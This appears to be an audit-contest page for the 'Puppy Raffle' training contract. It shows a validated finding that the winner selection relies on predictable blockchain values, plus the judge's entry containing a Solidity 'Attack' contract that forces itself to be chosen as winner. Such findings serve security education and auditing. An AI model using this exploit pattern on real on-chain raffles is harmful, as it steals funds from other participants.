Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Winner could be determined by Validator

Vulnerability Details
The randomness of some variables winnerIndex, rarity could be subject of exploitation, as they are calculated by the state of the blockchain, making it possible for an actor to calculate all the possible outcomes, and call selectWinner() in a determined time to win the raffle. In this case the Validator can know the result of this line:

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
What it could do the Validator when running the code is to run the line above

Impact
High / Medium - Validator could create a series of transactions to guarantee a specific winner

Exploit
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
This is the line which determines the winnerIndex (the index inside the players array), since the Paris upgrade block.difficulty doesn't work as before, It doesn't get the hashrate of the network, as now Ethereum is PoS. Now block.difficulty is an alias for block.prevrandao (A random number determined in a previous block in the beacon chain).

More info can be found here https://eips.ethereum.org/EIPS/eip-4399.

It's possible for a Validator to run the snippet above adding 1 to the length of the players (in case if he wants to add a address), or try for different timestamps with prevrandao of the previous block and try different timestamps until it gets the desired index. In case of wanting to add an address it will call the enterRaffle() and then execute the code of selectWinner(), this must be withing the same block when adding the transactions to Ethereum to know the value of block.prevrandao.

Although this is unlikely to happen, because of the mechanism of Ethereum with PoS, which selects a node at based on the ammount of Ether staked, a big part of the Network of nodes will need to be aware of this contract and actively search to exploit it. The randomness of the protocol could be better, but is no reason to alarm.

Recommendations
Use a service which ensures a random number who cannot be determined by the state of the blockchain or an Actor at the moment of execution, I recommend to implement the service VRF, developed by Chainlink, a service that provides of a random number.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge 7 days ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!